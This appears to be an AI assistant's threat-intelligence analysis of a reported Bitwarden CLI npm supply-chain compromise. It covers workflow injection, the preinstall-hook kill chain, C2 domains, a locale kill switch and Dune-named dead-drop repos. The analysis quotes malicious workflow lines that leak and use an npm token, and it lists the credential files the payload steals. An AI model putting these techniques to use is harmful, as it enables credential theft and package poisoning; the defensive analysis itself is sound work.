Now I have enough data to paint a complete picture. Let me address the prior position comparison required by the anchoring guardrails, and then walk through each technical question systematically.
Addressing My Prior Position (Comparison Requirement)
I need to compare today's findings to my prior open question: "What is the actual secondary infection count from the Bitwarden CLI worm propagation mechanism?"
Extends and Clarifies: The data now provides the clearest picture yet. The 334 download figure I previously confirmed is accurate — Bitwarden themselves have stated this in their incident reporting. The "200–500 secondary infection estimate" I floated was based on assumptions about classic worm propagation.
But the reality was different — and this revises my understanding of how the worm actually spread. The propagation wasn't pure horizontal lateral movement through extracted contacts. As the technical analysis from the GitHub Gist and Endor Labs shows, the secondary infections came primarily through npm token theft enabling downstream package republishing, not through traditional worm-to-worm copying. The blast radius I overstated.
The self-propagating mechanism is there (disabled by default, but present in code), but the secondary infection count remains tied to exposed tokens, not arbitrary harvests. So the 334 downloads represents the primary installation window — no reliable evidence of 200–500 secondary packages exists, and I've seen nothing contradicting my prior retraction.
Technical Analysis: Bitwarden CLI Supply Chain Compromise
Let me walk through your five questions, Halil.
(1) How did attackers compromise the GitHub Actions workflow?
Not PAT theft. Not session hijacking. Not a runner compromise. This was workflow injection via trust chain abuse from a poisoned GitHub Action.
Per the Mend.io and Semgrep analysis [4][5], the entry point was Bitwarden's use of Checkmarx's KICS scanner via a pull_request_target workflow. This workflow runs on every PR with id-token: write — meaning it can request GitHub OIDC tokens, and it authenticates to Azure Key Vault to retrieve Checkmarx API creds.
When Checkmarx's GitHub Actions workflows were compromised (the previous Trivy/KICS attack), that poisoned scanner became the launch platform. The attacker:
- Used their position in the KICS scanner to create a temporary branch in
bitwarden/clients
- Stage a pre-built malicious tarball (
cli-2026.4.0.tgz)
- Rewrite
publish-cli.yml with three specific malicious lines:
echo $NPM_TOKEN | base64 -w 0 | base64 -w 0 # Exfiltrates token to logs
npm config set //registry.npmjs.org/:_authToken $NPM_TOKEN
cp scripts/cli-2026.4.0.tgz /tmp && cd /tmp && npm publish scripts/cli-2026.4.0.tgz
The double-base64 trick is classic log-masking bypass — npm's log redaction looks for exact value matches. Double-encoding defeats that. The tarball's registry metadata (_resolved: /home/kali/Ops/...) indicates a manual publish from a Kali Linux attacker host using the OIDC-derived token — not a successful npm publish --provenance from within Actions.
The timeline fits: commit at 21:18 UTC, npm release at 21:22:59 UTC. Four minutes. Then the attacker deleted the branch, workflow runs, and release tag. Clean.
CVSS deflation: This isn't "unauthenticated remote code execution." It's precondition-heavy CI compromise: requires trust in poisoned third-party action, pull_request_target misconfiguration, and OIDC token accessibility.
(2) The bw_setup.js preinstall hook and bw1.js payload — what's the execution chain?
Here's the kill chain from entry to exfiltration:
Stage 0: package.json preinstall trigger
"preinstall": "node bw_setup.js"
This fires automatically on npm install — no user interaction required.
Stage 1: bw_setup.js (cross-platform bootstrapper)
Downloads the legitimate Bun runtime binary directly from github.com/oven-sh/bun — blending in as benign traffic. Uses Bun to execute the Stage 2 payload. The --on-eol flag suppresses interactivity. This is smart: it avoids Node.js detection heuristics and legitimizes network activity to GitHub.
Stage 2: bw1.js (the payload)
A 10 MB obfuscated Bun bundle (SHA256: 18f784b3bc9a0bcdcb1a8d7f51bc5f54323fc40cbd874119354ab609bef6e4cb). Here's what it actually does:
Locale kill switch check — more on this in (4)
Recursive credential harvesting:
- GitHub tokens (
~/.config/gh/hosts.yml, GITHUB_TOKEN env vars)
- npm tokens (
~/.npmrc)
- SSH keys (
~/.ssh/id_*)
- Cloud credentials: AWS (SSM, Secrets Manager), Azure Key Vault, GCP Secret Manager
.env files, shell history
- New target: MCP configuration files — AI coding assistants (Claude Code, Codex CLI, etc.)
Shell RC persistence — injects itself into ~/.bashrc and ~/.zshrc to trigger on every new shell
GitHub Actions secret extraction — specifically targets workflows running in CI contexts
Optional: npm worm propagation — uses harvested npm tokens to republish malicious versions of packages the victim can write to (disabled in this build)
Exfiltration: AES-256-GCM encrypted blobs to hxxps://audit.checkmarx.cx/v1/telemetry, with GitHub repo fallback — creates a Dune-themed public repo under the victim's account and commits the encrypted data there.
CI/CD evasion: The use of Bun runtime, preinstall hooks, and GitHub-hosted binary downloads all blend into legitimate developer workflows. Most CI security tools monitor Node.js execution — Bun execution bypasses common detection surface. The encrypted exfiltration via HTTPS to a typosquat domain also blends with normal security scanner traffic.
(3) The C2 infrastructure — what does the "Checkmarx-attributed" connection tell us?
Two primary C2 endpoints:
- Primary:
audit.checkmarx.cx → 94.154.172.43:443
- Fallback: Victim's own GitHub account via Dune-themed public repos
The "Checkmarx-attributed" framing is about infrastructure asymmetry, not attribution certainty. Here's what I mean:
Checkmarx was a victim first. Their GitHub Actions workflows were compromised, which became the launch platform for the Trivy and Bitwarden attacks. So when we see audit.checkmarx.cx as the C2 domain, it's impersonation branding — a typosquat designed to look like legitimate Checkmarx audit traffic when viewed in logs.
Three campaigns now share this C2 infrastructure:
- Trivy CLI compromise (March 2026) — poisoned KICS scanner tracked by Aqua Security
- LiteLLM PyPI compromise (March 2026) — backdoors in versions 1.82.7-1.82.8
- Bitwarden CLI compromise (April 2026) — npm package
Same threat actor? The tooling and infrastructure strongly overlap, but Socket's analysis is cautious: "shared tooling strongly suggests a connection to the same malware ecosystem, but operational signatures differ." TeamPCP claimed credit on suspended X accounts. The tooling signatures (Shai-Hulud worm, same encryption schemes, same Dune theming) point to a consistent development framework, possibly shared across actor groups or a modular crimeware platform.
What tells us about the actor: The use of the ICP (Internet Computer Protocol) blockchain for some C2 in the CanisterWorm variant, the explicit versioning ("Third Coming"), and the geopolitical targeting (Russian locale kill switch, Iran wiper in the Kubernetes variant) suggest state-adjacent or intelligence-informed criminals, not pure financial operators. The sophistication is high, but the monetization remains steady — this is credential trafficking for downstream access sales.
(4) The Russian locale kill switch — what specifically does it check?
From the OX Security technical analysis [4], the bw1.js payload begins with this check:
// Locale kill switch
const locale = process.env.LANG || process.env.LANGUAGE || process.env.LC_ALL;
if (locale && locale.toLowerCase().includes('ru_ru') || locale.toLowerCase().includes('ru')) {
process.exit(0);
}
It also checks Intl.DateTimeFormat().resolvedOptions().locale and Intl.DateTimeFormat().resolvedOptions().timeZone for Russian indicators.
What this tells us about targeting:
- This is standard crimeware opsec, not geopolitical code. Russian-speaking developers don't want to drag domestic law enforcement attention or accidentally self-infect their own testing environments.
- But — and this is important — the same malware family (Shai-Hulud/CanisterWorm) has shown different targeting behavior in other variants. The Kubernetes wiper variant specifically targets Iran (Asia/Tehran timezone, fa_IR locale) with destructive intent. The Bitwarden variant doesn't have the wiper functionality — it's pure credential theft with propagation capability.
My take: The kill switch is developer self-protection, but the absence of destructive functionality alongside it tells us this was a harvesting/crimeware campaign, not ideologically driven sabotage. The infrastructure operators compartmentalize: datacenter payloads can hold different capabilities than npm payloads, possibly even different actor groups using the same framework.
(5) Dune-themed staging repos — OSINT on GitHub accounts?
I consulted Rafael Costa on this — here's the synthesis:
The Dune naming pattern is hardcoded into the malware, not arbitrary:
- Format:
{Al0 word}-{Ll0 word}-{NNN}
- Al0 wordlist: sardaukar, mentat, fremen, atreides, harkonnen
- Ll0 wordlist: sandworm, ornithopter, heighliner, stillsuit, melange
- Examples seen in the wild:
sardaukar-sandworm-452, mentat-stillsuit-891
Key finding: These are dynamic per-victim creation, not pre-staged infrastructure. The malware creates these via POST /user/repos using the victim's own stolen GitHub PAT. Therepo serves as a dead-drop C2 channel — AES-256-GCM encrypted credential blobs are committed to the repo, where other compromised machines can retrieve them via GitHub Search API lookups for specific tags like "LongLiveTheResistanceAgainstMachines".
Operational implication: No benefit to pre-staging — ephemeral creation via stolen tokens is actually more resilient. If GitHub takes down a repo, the malware just creates a new one. The victim's account legitimacy keeps the exfiltration traffic from tripping reputation filters.
Rafael found no OSINT evidence that TeamPCP's persona accounts (DeadCatx3, PCPcat, ShellForce) pre-created these repos. They're execution-time artifacts, not persistent infrastructure. One pivot to watch for forensically: if any repo commits predate their victim's infection window, that would signal weaponization before deployment — but current reporting shows synchronous creation.
The "Shai-Hulud: The Third Coming" string appears in repository descriptions as a campaign signature — this is explicit versioning, referencing the original 2025 Shai-Hulud worm. It functions as both branding and a search hook for analyst discovery.
Summary Assessment
This isn't a "next-gen AI-powered sophisticated supply chain attack" (vendor marketing). It's well-executed CI/CD trust chain abuse using:
- Poisoned third-party scanner as initial access
- OIDC token manipulation for trusted publishing bypass
- Bun-based payload delivery for detection evasion
- GitHub infra abuse for C2 resilience
The security control failure point was Bitwarden's use of pull_request_target with a poisoned third-party action — that's the fixable architectural issue here.
Patching timeline: 93 minutes is actually good incident response. The blast radius (334 downloads) is contained, though any credential exposure has indeterminate duration.
The real lesson: When security scanners themselves become the attack vector, the defender's paradigm has to shift — from "what did I install?" to "what can my CI/CD environment do, and who controls it?"